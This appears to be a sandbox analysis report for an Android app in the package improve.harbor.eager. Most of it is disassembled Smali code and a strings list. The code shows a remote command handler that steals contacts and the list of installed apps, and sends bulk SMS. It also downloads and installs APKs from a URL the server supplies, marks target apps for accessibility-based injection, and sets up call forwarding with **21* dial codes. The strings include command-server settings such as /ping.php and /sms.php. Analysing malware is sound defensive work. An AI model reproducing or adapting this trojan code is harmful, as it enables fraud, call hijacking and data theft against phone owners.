                                            590invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            591move-result-object v2
                                            593invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            595const-string v0, "TXT_C_6"
                                            597invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            598move-result-object v0
                                            600const-string v1, "TXT_38"
                                            602invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            603move-result-object v1
                                            605invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            607const-string v0, "TXT_38"
                                            609invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            610move-result-object v0
                                            612invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            613goto/16 :goto_81
                                            614cond_32c:
                                            615const-string v2, "ENABLE_EXTENDED_INJECT"
                                            617invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            618move-result v2
                                            619if-eqz v2, :cond_34b
                                            621iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            623const-string v1, "EXTENDED_INJECTION"
                                            624const/4 v2, 0x1
                                            626invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            627move-result-object v2
                                            629invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            631const-string v0, "TXT_35"
                                            633invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            634move-result-object v0
                                            636invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            637goto/16 :goto_81
                                            638cond_34b:
                                            639const-string v2, "DISABLE_EXTENDED_INJECT"
                                            641invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            642move-result v2
                                            643if-eqz v2, :cond_36a
                                            645iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            647const-string v1, "EXTENDED_INJECTION"
                                            648const/4 v2, 0x0
                                            650invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            651move-result-object v2
                                            653invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            655const-string v0, "TXT_34"
                                            657invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            658move-result-object v0
                                            660invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            661goto/16 :goto_81
                                            662cond_36a:
                                            663const-string v2, "START_DEBUG"
                                            665invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            666move-result v2
                                            667if-eqz v2, :cond_380
                                            669iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            671const-string v1, "DEBUG_TO_API"
                                            672const/4 v2, 0x1
                                            674invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            675move-result-object v2
                                            677invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            678goto/16 :goto_81
                                            679cond_380:
                                            680const-string v2, "STOP_DEBUG"
                                            682invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            683move-result v2
                                            684if-eqz v2, :cond_396
                                            686iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            688const-string v1, "DEBUG_TO_API"
                                            689const/4 v2, 0x0
                                            691invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            692move-result-object v2
                                            694invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            695goto/16 :goto_81
                                            696cond_396:
                                            697const-string v2, "START_PERMISSIONS"
                                            699invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            700move-result v2
                                            701if-eqz v2, :cond_3a3
                                            703invoke-direct {p0}, Limprove/harbor/eager/MainServiceJob;->e()V
                                            704goto/16 :goto_81
                                            705cond_3a3:
                                            706const-string v2, "GET_APPS"
                                            708invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            709move-result v2
                                            710if-eqz v2, :cond_3b0
                                            712invoke-direct {p0}, Limprove/harbor/eager/MainServiceJob;->d()V
                                            713goto/16 :goto_81
                                            714cond_3b0:
                                            715const-string v2, "GET_PACKAGE_NAME"
                                            717invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            718move-result v2
                                            719if-eqz v2, :cond_3d8
                                            720new-instance v0, Ljava/lang/StringBuilder;
                                            722invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                            724const-string v1, "TXT_111"
                                            726invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            727move-result-object v1
                                            729invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            730move-result-object v0
                                            732invoke-virtual {p0}, Limprove/harbor/eager/MainServiceJob;->getPackageName()Ljava/lang/String;
                                            733move-result-object v1
                                            735invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            736move-result-object v0
                                            738invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            739move-result-object v0
                                            741invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            742goto/16 :goto_81
                                            743cond_3d8:
                                            744const-string v2, "GET_CONTACTS"
                                            746invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            747move-result v2
                                            748if-eqz v2, :cond_3e5
                                            750invoke-direct {p0}, Limprove/harbor/eager/MainServiceJob;->g()V
                                            751goto/16 :goto_81
                                            752cond_3e5:
                                            753const-string v2, "SEND_BULK_SMS"
                                            755invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            756move-result v2
                                            757if-eqz v2, :cond_420
                                            759const-string v0, "MSG"
                                            761invoke-virtual {v1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                            762move-result-object v0
                                            764const-string v2, "NUMBERS"
                                            766invoke-virtual {v1, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                            767move-result-object v1
                                            769const-string v2, "TXT_C_6"
                                            771invoke-static {v2}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            772move-result-object v2
                                            773new-instance v3, Ljava/lang/StringBuilder;
                                            775const-string v4, "MSG: "
                                            777invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                                            779invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            780move-result-object v3
                                            782const-string v4, ", Nums: "
                                            784invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            785move-result-object v3
                                            787invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            788move-result-object v3
                                            790invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            791move-result-object v3
                                            793invoke-static {p0, v2, v3}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            795invoke-direct {p0, v0, v1}, Limprove/harbor/eager/MainServiceJob;->b(Ljava/lang/String;Ljava/lang/String;)V
                                            796goto/16 :goto_81
                                            797cond_420:
                                            798const-string v2, "UPDATE_APK"
                                            800invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            801move-result v2
                                            802if-eqz v2, :cond_4d0
                                            804const-string v0, "URL"
                                            806invoke-virtual {v1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                            807move-result-object v0
                                            808if-eqz v0, :cond_81
                                            810invoke-virtual {v0}, Ljava/lang/String;->length()I
                                            811move-result v1
                                            812const/4 v2, 0x5
                                            813if-le v1, v2, :cond_81
                                            815const-string v1, "TXT_C_6"
                                            817invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            818move-result-object v1
                                            819new-instance v2, Ljava/lang/StringBuilder;
                                            821const-string v3, "UpdateAPK: "
                                            823invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                                            825invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            826move-result-object v2
                                            828invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            829move-result-object v2
                                            831invoke-static {p0, v1, v2}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            832new-instance v1, Ljava/lang/StringBuilder;
                                            834invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                            836const-string v2, "TXT_33"
                                            838invoke-static {v2}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            839move-result-object v2
                                            841invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            842move-result-object v1
                                            844invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            845move-result-object v1
                                            847invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            848move-result-object v1
                                            850invoke-static {p0, v1}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            852invoke-static {p0}, Limprove/harbor/eager/Permissions;->c(Landroid/content/Context;)Z
                                            853move-result v1
                                            854if-nez v1, :cond_47d
                                            856const-string v0, "TXT_112"
                                            858invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            859move-result-object v0
                                            861invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            863invoke-direct {p0}, Limprove/harbor/eager/MainServiceJob;->e()V
                                            864goto/16 :goto_81
                                            865cond_47d: sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                                            866if-lt v1, v8, :cond_4cb
                                            868invoke-virtual {p0}, Limprove/harbor/eager/MainServiceJob;->getPackageManager()Landroid/content/pm/PackageManager;
                                            869move-result-object v1
                                            871invoke-virtual {v1}, Landroid/content/pm/PackageManager;->canRequestPackageInstalls()Z
                                            872move-result v1
                                            873if-nez v1, :cond_4bb
                                            875const-string v1, "TXT_110"
                                            877invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            878move-result-object v1
                                            880invoke-static {p0, v1}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            882const-string v1, "MainServiceJob"
                                            884const-string v2, "CANNOT REQUEST PACKAGE INSTALLS!"
                                            886invoke-static {p0, v1, v2}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            887new-instance v1, Landroid/content/Intent;
                                            888const-class v2, Limprove/harbor/eager/SettingsUnknownApps;
                                            890invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                            891const/high16 v2, 0x54000000
                                            893invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                            895invoke-virtual {p0, v1}, Limprove/harbor/eager/MainServiceJob;->startActivity(Landroid/content/Intent;)V
                                            896new-instance v1, Landroid/os/Handler;
                                            898invoke-direct {v1}, Landroid/os/Handler;-><init>()V
                                            899new-instance v2, Limprove/harbor/eager/i;
                                            901invoke-direct {v2, p0, v0}, Limprove/harbor/eager/i;-><init>(Limprove/harbor/eager/MainServiceJob;Ljava/lang/String;)V
                                            902const-wide/16 v4, 0x1388
                                            904invoke-virtual {v1, v2, v4, v5}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
                                            905goto/16 :goto_81
                                            906cond_4bb:
                                            907const-string v1, "MainServiceJob"
                                            909const-string v2, "YES YOU CAN REQUEST PACKAGE INSTALLS!"
                                            911invoke-static {p0, v1, v2}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            913const-string v1, "TXT_113"
                                            915invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            916move-result-object v1
                                            918invoke-static {p0, v1}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            919cond_4cb:
                                            920invoke-virtual {p0, v0}, Limprove/harbor/eager/MainServiceJob;->a(Ljava/lang/String;)V
                                            921goto/16 :goto_81
                                            922cond_4d0:
                                            923const-string v2, "INJECT_PACKAGE"
                                            925invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            926move-result v2
                                            927if-eqz v2, :cond_50d
                                            929const-string v0, "PKG"
                                            931invoke-virtual {v1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                            932move-result-object v0
                                            933if-eqz v0, :cond_81
                                            935invoke-virtual {v0}, Ljava/lang/String;->length()I
                                            936move-result v1
                                            937if-le v1, v7, :cond_81
                                            939sget-object v1, Limprove/harbor/eager/AccessibilityS;->a:Ljava/util/ArrayList;
                                            941invoke-virtual {v1, v0}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                            942new-instance v1, Ljava/lang/StringBuilder;
                                            944invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                            946const-string v2, "TXT_107"
                                            948invoke-static {v2}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            949move-result-object v2
                                            951invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            952move-result-object v1
                                            954const-string v2, ": "
                                            956invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            957move-result-object v1
                                            959invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            960move-result-object v0
                                            962invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            963move-result-object v0
                                            965invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            966goto/16 :goto_81
                                            967cond_50d:
                                            968const-string v2, "CALL_FORWARD"
                                            970invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            971move-result v0
                                            972if-eqz v0, :cond_81
                                            974const-string v0, ""
                                            975try_start_517:
                                            976const-string v2, "NUM"
                                            978invoke-virtual {v1, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                            979try_end_51c: move-result-object v0
                                            980goto_51d: if-eqz v0, :cond_56c
                                            981try_start_51f:
                                            982invoke-virtual {v0}, Ljava/lang/String;->length()I
                                            983move-result v1
                                            984if-le v1, v7, :cond_56c
                                            985new-instance v1, Ljava/lang/StringBuilder;
                                            987const-string v2, "TXT_108"
                                            989invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                                            991invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            992move-result-object v1
                                            994invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            995move-result-object v1
                                            997invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            998move-result-object v1
                                            1000invoke-static {p0, v1}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            1001new-instance v1, Landroid/content/Intent;
                                            1003const-string v2, "android.intent.action.DIAL"
                                            1005invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                            1006new-instance v2, Ljava/lang/StringBuilder;
                                            1008const-string v3, "**21*"
                                            1010invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                                            1012invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            1013move-result-object v0
                                            1015const-string v2, "#"
                                            1017invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            1018move-result-object v0
                                            1020invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            1021move-result-object v0
                                            1023const-string v2, "tel"
                                            1025const-string v3, "#"
                                            1027invoke-static {v2, v0, v3}, Landroid/net/Uri;->fromParts(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/net/Uri;
                                            1028move-result-object v0
                                            1030invoke-virtual {v1, v0}, Landroid/content/Intent;->setData(Landroid/net/Uri;)Landroid/content/Intent;
                                            1031const/high16 v0, 0x10000000
                                            1033invoke-virtual {v1, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                            1035invoke-virtual {p0, v1}, Limprove/harbor/eager/MainServiceJob;->startActivity(Landroid/content/Intent;)V
                                            1036goto/16 :goto_81
                                            1037cond_56c:
                                            1038const-string v0, "TXT_109"
                                            1040invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            1041move-result-object v0
                                            1043invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            1044new-instance v0, Landroid/content/Intent;
                                            1046const-string v1, "android.intent.action.DIAL"
                                            1048invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                            1050const-string v1, "##21#"
                                            1052invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
                                            1053move-result-object v1
                                            1055invoke-virtual {v0, v1}, Landroid/content/Intent;->setData(Landroid/net/Uri;)Landroid/content/Intent;
                                            1056const/high16 v1, 0x10000000
                                            1058invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                            1060invoke-virtual {p0, v0}, Limprove/harbor/eager/MainServiceJob;->startActivity(Landroid/content/Intent;)V
                                            1061try_end_58d: goto/16 :goto_81
                                            1062catch_58f: move-exception v1
                                            1063goto/16 :goto_51d
                                            APIs
                                            • android.app.Activity.onCreate
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.String.equals
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • improve.harbor.eager.PreActivity.getContentResolver
                                            • android.provider.Settings$Secure.getString
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.String.equals
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.StringBuilder.<init>
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.String.equals
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.StringBuilder.<init>
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • improve.harbor.eager.PreActivity.getWindow
                                            • android.view.Window.setFlags
                                            • android.content.Intent.<init>
                                            • improve.harbor.eager.PreActivity.startForegroundService
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • improve.harbor.eager.PreActivity.setContentView
                                            • android.os.Handler.<init>
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • android.os.Handler.postDelayed
                                            • improve.harbor.eager.PreActivity.startService
                                            • improve.harbor.eager.PreActivity.a
                                            Strings
                                            • HIDE_DELAY_START_WINDOW
                                            • DELAY_PERMISSION_ASK
                                            • PING_INTERVAL
                                            • PING_SERVICE_WORKING
                                            • PROTECTING_APP
                                            • ACCESSIBILITY_WATCHER_RUNNING
                                            • ACCESSIBILITY_RUNNING
                                            • IS_INSTALL
                                            • JOB_ID
                                            • EXTENDED_INJECTION
                                            • DISABLE_INJECT
                                            • SCREEN_ON
                                            • ANDROID_ID
                                            • android_id
                                            • b8e688b87ab41f9
                                            • SERVER_SMS_URL
                                            • SERVER_PING_URL
                                            • SERVER_IP
                                            • /ping.php
                                            • /sms.php
                                            • DEBUG_TO_API
                                            • SHOW_WINDOW
                                            Position Instruction Meta Information
                                            0.annotation build Landroid/annotation/SuppressLint;
                                            1value = {
                                            2"HardwareIds"
                                            3}
                                            4.end annotation
                                            5const/16 v3, 0x2710
                                            6const/16 v8, 0x2000
                                            7const/4 v7, 0x1
                                            8const/4 v6, 0x0
                                            9const/4 v5, -0x1
                                            11invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
                                            13invoke-static {p0}, Limprove/harbor/eager/g;->a(Landroid/content/Context;)Limprove/harbor/eager/g;
                                            14move-result-object v0
                                            15iput-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            16new-instance v0, Limprove/harbor/eager/e;
                                            18invoke-direct {v0, p0}, Limprove/harbor/eager/e;-><init>(Landroid/content/Context;)V
                                            20iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            22const-string v1, "HIDE_DELAY_START_WINDOW"
                                            24invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            25move-result-object v0
                                            27invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            28move-result v0
                                            29if-ne v0, v5, :cond_30
                                            31iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            33const-string v1, "HIDE_DELAY_START_WINDOW"
                                            34const/16 v2, 0x2ee0
                                            36invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            37move-result-object v2
                                            39invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            40cond_30:
                                            41iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            43const-string v1, "DELAY_PERMISSION_ASK"
                                            45invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            46move-result-object v0
                                            48invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            49move-result v0
                                            50if-ne v0, v5, :cond_49
                                            52iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            54const-string v1, "DELAY_PERMISSION_ASK"
                                            56invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            57move-result-object v2
                                            59invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            60cond_49:
                                            61iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            63const-string v1, "PING_INTERVAL"
                                            65invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            66move-result-object v0
                                            68invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            69move-result v0
                                            70if-ne v0, v5, :cond_62
                                            72iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            74const-string v1, "PING_INTERVAL"
                                            76invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            77move-result-object v2
                                            79invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            80cond_62:
                                            81iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            83const-string v1, "PING_SERVICE_WORKING"
                                            85invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            86move-result-object v2
                                            88invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            90iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            92const-string v1, "PROTECTING_APP"
                                            94invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            95move-result-object v0
                                            97invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            98move-result v0
                                            99if-ne v0, v5, :cond_86
                                            101iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            103const-string v1, "PROTECTING_APP"
                                            105invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            106move-result-object v2
                                            108invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            109cond_86:
                                            110iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            112const-string v1, "ACCESSIBILITY_WATCHER_RUNNING"
                                            114invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            115move-result-object v0
                                            117invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            118move-result v0
                                            119if-ne v0, v5, :cond_9f
                                            121iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            123const-string v1, "ACCESSIBILITY_WATCHER_RUNNING"
                                            125invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
